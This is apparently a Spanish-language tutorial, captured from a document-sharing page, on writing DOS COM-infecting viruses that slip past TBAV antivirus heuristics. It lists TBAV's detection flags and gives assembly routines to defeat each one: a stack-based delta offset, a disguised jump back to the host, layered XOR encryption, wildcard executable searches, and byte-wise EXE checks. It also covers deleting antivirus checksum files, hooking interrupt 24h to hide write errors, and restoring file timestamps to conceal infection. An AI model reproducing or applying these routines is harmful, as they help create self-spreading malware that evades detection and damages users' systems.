Sunteți pe pagina 1din 6

Bueno ,he estado evitando hasta ahora hablar de heurística, pero

supongo que és inevitable.


La busqueda heurística es un método utilizado por lo antivirus
y consiste en buscar trozos muy utilizados en los virus.
Por ejemplo la busqueda del desplazamiento de las variables
(o delta offset o beta offset como dirían algunos programadores
de virus).Ese trozo es muy común en los virus y en cambio
ningún programa (normalmente) lo utiliza (¿qué programa necesita
buscar un desplazamiento de variables si no se va a cambiar
de offset?).
En nuestro programita saltarían por ejemplo el flag de encriptación
(flag # en el tbav) ,el flag de busqueda de ejecutables(porque
buscamos archivos com, eso quieras o no es bastante sospechoso)
,el flag de busqueda del delta offset (flag E en el tbav) y el
flag de regreso al hoste (salta cuando damos el control al hoste
saltando al offset 100h,flag B en el tbav)

Lista de flags del tbav


-----------------------

E Flexible Entry-point. The code seems to be designed to be linked


on any location within an executable file. Common for viruses.
J Suspicious jump construct. Entry point via chained or indirect
jumps. This is unusual for normal software but common for viruses.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
M Memory resident code. The program might stay resident in memory.
c No checksum / recovery information (Anti-Vir.Dat) available.
C The checksum data does not match! File has been changed!
T Incorrect timestamp. Some viruses use this to mark infected files.
Z EXE/COM determination. The program tries to check whether a file
is a COM or EXE file. Viruses need to do this to infect a program.
@ Encountered instructions which are not likely to be generated by
an assembler, but by some code generator like a polymorphic virus.
G Garbage instructions. Contains code that seems to have no purpose
other than encryption or avoiding recognition by virus scanners.
U Undocumented interrupt/DOS call. The program might be just tricky
but can also be a virus using a non-standard way to detect itself.
K Unusual stack. The program has a suspicious stack or an odd stack.
1 Found instructions which require a 80186 processor or above.
R Relocator. Program code will be relocated in a suspicious way.
L The program traps the loading of software. Might be a
virus that intercepts program load to infect the software.
w The program contains a MS-Windows or OS/2 exe-header.
F Suspicious file access. Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
D Disk write access. The program writes to disk without using DOS.
? Inconsistent exe-header. Might be a virus but can also be a bug.
N Wrong name extension. Extension conflicts with program structure.

Si os fijáis algunos de los flags son una chorada (ojo al flag w)


Pero tranquilos ,en esta vida todo tiene solución en primer
lugar prodríamos sustituir la tipica rutina ...

call find_offset
find_offset: pop bp
sub bp,offset find_offset

... por una rutina en la que leamos directamente de la pila

call find_offset
find_offset: mov si,sp
mov bp,word ptr ss:[si]
sub bp,offset find_offset
add sp,2 ;adiós flag E

Fijate que los datos en la pila se almacenan decrecientemente, con lo


que el último elemento está en la posición de memoria más baja.
El último elemento de la pila lo apunta el par de registros ss:sp
No podemos direccionar la memoria con el registro sp por lo que primero
pasamos el valor de sp a si (mov si,sp) después leemos el valor
apuntado
por si y lo llevamos a bp(ésta és la dirección apilada con el call)
Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp
ya que hemos desapilado una palabra de la pila y ahora el último
elemento
de la pila está dos posiciones hacia arriba.
Esta rutina sirve pero ten en cuenta que el call find_offset no puede
ser el primer comando del virus (sino la heurística saltaría).
Antes del call find_offset podrías poner ...
push cs
push cs
pop ds
pop es
....ya que de todas formas lo tendrías que poner.

No tengas tentaciones de poner instrucciones inútiles antes del


call como

mov cx,cx
xchg ax,ax

Entonces no saltaría el flag del delta offset


sinó el flag de garbage instruccion (instrucciones basura)
¿qué porqué salta la heurística con instrucciones inútiles?
Pues porque un programa normal no suele utilizarlas , no són
instrucciones
que un compilador genere. En cambio los virus las utilizan para
modificar
la rutina de desencriptación en virus Polimórficos. Así que evita
utilizarlas.
Ahora que hemos evitado el flag E vamos a anular el flag B (back to
entry point, regreso al punto de entrada).Salta cuando damos
el control al com después de la ejecución del virus.
Es decir si utilizamos ....

mov ax,100h
jmp ax

pero esto tiene una solución también drástica,(no utilizaremos un mov)


push 100h ;apilamos el valor 100h en la pila
pop ax ;desapilamos ese valor en el registro ax
jmp ax ;saltamos a la dirección 100h

Si, si, sé lo que estáis pensando.Pero se vé que a los creadores


de antivirus no se les ocurrió :>
Je,Je hemos aniquilado otro flag. Vamos a por el siguiente.
¿Qué tal el flag de encriptación?. La verdad es que éste me costo un
poquito. Leí por algún sitio que poniendo después de la rutina de
desencriptación un comando de salida al DOS se quitaba,con lo que
el programa antivirus se pensaba que la zona encriptada eran datos
del programa Algo así :>

mov cx,zona_encrypt ;en cx el numero de bytes


xor di,di ;a encriptar
mov ax,byte ptr [valor]
mas: xor byte ptr [zona_start+di],ax
inc di
dec cx
je mas
jmp sigue ;salto para ejecutar el virus
;ya desencriptado
mov ax,4c00h ;para salir al DOS pero
int 21h ;nunca llega a ejecutarse
sigue:

***************** aquí empieza el código encriptado **********


zona_start: cld
mov cx,3d
mov di,100h
lea si,bp+cab_ORIG
rep movsb
.
.
.

La verdad es que es una idea ingeniosa ,pero no me funcionó.


Así que al final conseguí evitar el dichoso flag encriptando
y desencriptando el virus (parece paradógico ,evitar el flag
de encriptación con una rutina de encriptación juajuajuajua)
Encripto y desencripto con una función xor y utilizando un
valor fijo. Estas dos rutinas las ejecuto antes de llegar
a la verdadera rutina.Y estarán en cada archivo.
La estructura del com quedaría así:

Busqueda del delta offset


Encripto el virus con un valor fijo
Desencripto el virus con el mismo valor
Desencripto el virus con un valor variable que
se encuentra almacenado en el codigo.
Codigo del virus encriptado aquí

Podéis revisar el Tarazona_Killer en la zona de virus comentados


que está en esta web (si tenéis más dudas).

Otro menos, esto va disminuyendo.Vamos ahora a por el flag S


Que salta con las rutinas de busqueda de archivos ejecutables
(exe,com).
También hay una fácil solución.En vez de buscar archivos
*.com buscar archivos que cumplan *.c?m .
Y después verificar si el caracter del medio es una o.
Fácil.El flag Z tiene una solución parecida.
El flag z salta con rutinas de verificación si un archivo
es com o exe (es decir comprobando si los 2 primeros bytes
son MZ).
Por ejemplo saltaría con rutinas como:

cmp word ptr [cab_ORIG],'ZM'


jne contamina_com
jmp salir
contamina_com:

NOTA: Fíjate que para verificar si los 2 primeros bytes son MZ


comparamos con la cadena ZM ya que el bytes menos significativo
se carga más hacia la derecha y el menos significativo a la
izquierda.

Para evitar el flag leemos primero un byte y luego otro

cmp byte ptr [cab_ORIG].'M'


jne contamina_com
cmp byte ptr [cab_ORIG+1],'Z'
jne contamina_com
jmp salir
contamina_com:

Bueno a estas alturas sólo saltaría el flag c


C The checksum data does not match! File has been changed!
El Tbav crea un archivo en cada directorio con infomación
sobre los archivos ejecutables que hay en él. Gracias a este
archivo el Tbav sabe si un archivo a aumentado de tamaño o
qué, (bueno no suelen engordar así por así los ejecutables
por lo que si uno crece de tamaño lo más normal es que tenga
un virus :> )
La manera de evitar este flag es borrar el archivito con
lo que de paso puedes borrar otros archivos de verificación
de otros antivirus como el chklist.ms etc.
¿qué cómo los borras? pues coño pa eso tienes la lista de
interrupciones int 21 en AH->41h y en DS:DX->asciz file

Olvidémonos un poco de los flags y de la heurística ,por


lo menos hasta que llegemos a la residencia ;>. Y vamos
a deperurar un poco más el programilla.
Piensa por un momente lo que pasaría si alguien copia
nuestro virus a un diskette ,luego lo protege contra
escritura y después ejecuta el virus.
Pues aparecería en pantalla un horroroso mensaje de

Fallo de escritura en unidad A


Anular, Reintentar, Ignorar?

Incluso a veces aparece en pantalla error en int 24 :>


Y vosotros no queréis que eso pase ,porque delataría
a nuestro pequeño virus.
Pues bueno como todo en esta vida tiene una solución.
La interrupción 24 es la que gestiona los errores
críticos. Entre ellos está la lectura en diskettes
defectuosos, la escritura en diskettes protegidos
contra escritura etc.

Las interrupciones són procedimientos que se ejecutan


cuando se produce algún evento en el sistema ya sea
apretar una tecla ,mover el ratón, o que aparezca un
error crítico.
El DOS crea a partir de la dirección de memoria 0000:0000
una tabla que indica la dirección de inicio de cada
interrupción del sistema. Sólo hemos de leer la dirección
de la interrupción 24. Guardarla en una variable . Cambiar
la dirección a un procedimiento nuestro que no devuelva
codigos de error y luego cuando ya hallamos contaminado
devolver a la interrupción 24 su dirección inicial.
(fijaos en la función 35h y 25h de la int 21h, para leer
la dirección de una interrupción y para cambiarla)

mov ax,3524h ;en ah el codigo de la función (35h)


int 21h ;en al el número de la interrupción

Esto devuelve en BX el offset y en ES el segmento de la


interrupción

mov cs:[bp+old_int24_off],bx
mov cx:[bp+old_int24_seg],es

Con esto guardo en memoria la dirección de la interrución original


Y ahora desvío la interrupción 24 a un procedimiento mío.

mov dx,offset new_int24


mov ax,2524h
int 21h ;en ds:dx dirección de la nueva función
jmp Contaminar ;supongo ds = cs ya que estamos contaminando
com's
new_int24: xor al,al ;en al la interrupción 24 devuelve el código
iret ;de error por lo que la pongo a 0 :>
contaminar:

Después de contaminar simplemente devolvemos el valor original


a la interrupción con...

lds dx,cs:old_int24
mov ax,2524h
int 21h

Fijate en las variables que añado a la zona de variables

old_int24 label dword


old_int24_off dw 0
old_int24_seg dw 0

Defino una etiqueta llamada old_int24 para referenciar el inicio


a los valores del offset y del segmento de la interrupcion 24 así
con el comando lds dx,cs:old_int24 los puedo cargar directamente
en DS:DX sin tener que leer las 2 variables por separado.

Otras mejoras que podríamos añadir es la verificación del tamaño


del archivo. Ten en cuenta que un archivo com sólo puede tener
65 kbytes de tamaño eso hace que si el hoste est muy cerca de
ese tamaño y si tú le añades el código del virus ,el conjunto
de hoste+virus no se podría cargar en un único segmento por lo
que el programa se colgaría .
Por eso lo mejor es verificar el tamaño con una rutina como esta
(supongo en la variable longitud el tamaño del hoste)
....

mov ax,50000d
cmp word ptr [bp+longitud],ax
jb size_ok ;salto si el primer elemento
jmp salir ;a comparar es menor al segundo
size_ok:

También es interesante guardar la hora y la fecha del archivo


contaminado y luego restaurar la fecha y la hora , así nadie
se dará cuenta que la última modificación del archivo fué cuando
el virus le contaminó }:>
Para eso utilizaremos la función ax=5700h de la int 21 para leer
la fecha del archivo y la ax=5701h para cambiarla.
En dx se obtendrá el campo de la hora y en cx la fecha.Según
el siguiente criterio.

Bit(s)

S-ar putea să vă placă și